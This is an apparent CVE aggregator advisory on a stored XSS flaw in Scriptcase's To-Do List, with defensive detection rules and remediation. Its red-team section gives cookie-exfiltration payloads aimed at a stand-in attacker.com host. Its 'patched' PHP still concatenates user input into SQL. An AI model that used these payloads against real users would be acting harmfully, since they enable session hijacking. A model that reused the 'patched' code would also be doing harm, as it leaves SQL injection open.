CVE-2024-46081
Executive Summary
CVE-2024-46081 is a Stored Cross-Site Scripting (XSS) vulnerability identified in Scriptcase version 9.10.023 and earlier. An authenticated attacker can inject malicious JavaScript payloads into the To-Do List feature. When an assigned user views the task, the payload executes in their browser, leading to session hijacking, data theft, or further lateral movement within the application. This vulnerability is particularly dangerous in multi-user environments where tasks are assigned across teams.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the Scriptcase platform. No supply chain compromise is involved.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – attacker must be authenticated.
- User Interaction: Required (UI:R) – victim must view the malicious task.
- Scope: Changed (S:C) – the vulnerability impacts resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the stored nature of the XSS and the potential for privilege escalation or session hijacking elevates the risk in collaborative environments.
Deep Dive & Mechanics
The vulnerability resides in the To-Do List module of Scriptcase. The application fails to properly sanitize user-supplied input when creating or editing a task. An authenticated attacker can insert arbitrary HTML/JavaScript into the task description or title fields. When the assigned user loads the task, the payload is rendered and executed in the context of the victim's session.
Attack Flow:
- Attacker authenticates to Scriptcase.
- Attacker creates a new task or edits an existing one, injecting a malicious script (e.g.,
<script>alert('XSS')</script>). - The task is assigned to a target user.
- The target user views the task list or the specific task.
- The injected script executes, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.
Root Cause: Lack of output encoding or input validation on the task content fields. The application likely stores the raw input and renders it without escaping HTML entities.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In task creation handler
$task_description = $_POST['description'];
// Directly stored without sanitization
$db->query("INSERT INTO tasks (description) VALUES ('$task_description')");
// In task display
echo "<div>" . $row['description'] . "</div>";
Patched Code (Conceptual):
// In task creation handler
$task_description = htmlspecialchars($_POST['description'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO tasks (description) VALUES ('$task_description')");
// In task display
echo "<div>" . htmlspecialchars($row['description'], ENT_QUOTES, 'UTF-8') . "</div>";
The patch must apply proper output encoding (e.g., htmlspecialchars in PHP) to both the storage and display of user input.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Valid user credentials on a Scriptcase instance (version <= 9.10.023).
- Access to the To-Do List feature.
Exploit Steps:
- Log in to Scriptcase.
- Navigate to the To-Do List module.
- Create a new task with the following payload in the description field:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Assign the task to a target user.
- Wait for the target to view the task. The payload will exfiltrate their session cookie.
Alternative Payload (Session Hijacking):
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual task creation patterns, especially from low-privileged users.
- Inspect task content for HTML tags or JavaScript keywords (e.g.,
<script>,onerror,onload). - Use WAF rules to block common XSS payloads in POST requests to task-related endpoints.
Hardening:
- Apply input validation and output encoding as shown in the patched code.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use HTTP-only cookies to mitigate session theft.
- Regularly update Scriptcase to the latest version.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g.,
GET /steal?cookie=...). - Unusual POST requests to
/tasks/createor/tasks/editwith HTML/JavaScript in parameters.
- Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g.,
- Host:
- Browser console errors indicating blocked scripts (if CSP is enabled).
- Unexpected JavaScript execution in the context of the Scriptcase application.
- Logs:
- Application logs showing task creation with suspicious content (e.g.,
<script>tags). - Web server logs with
200responses to task creation endpoints followed by302redirects.
- Application logs showing task creation with suspicious content (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_46081_Scriptcase_XSS {
meta:
description = "Detects stored XSS payloads in Scriptcase To-Do List"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-46081"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$xss4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Scriptcase Stored XSS via To-Do List
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in Scriptcase task creation
author: Valters IT
date: 2024/10/27
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '/tasks/create'
- '/tasks/edit'
cs-uri-query|re:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in task descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-46081 Scriptcase Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/tasks/create"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Scriptcase to a version beyond 9.10.023 if a patch becomes available.
- Apply a WAF rule to block requests containing
<script>,onerror,onload, orjavascript:in task-related POST parameters. - Implement CSP headers to restrict script execution to trusted sources only.
Long-Term Fixes:
- Input Validation: Sanitize all user input in the To-Do List module using a whitelist approach.
- Output Encoding: Encode all output using context-appropriate escaping (e.g., HTML entity encoding).
- Security Training: Educate developers on secure coding practices to prevent XSS.
Workaround (if patching is not possible):
- Disable the To-Do List feature for non-admin users.
- Manually review all task content before assignment.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.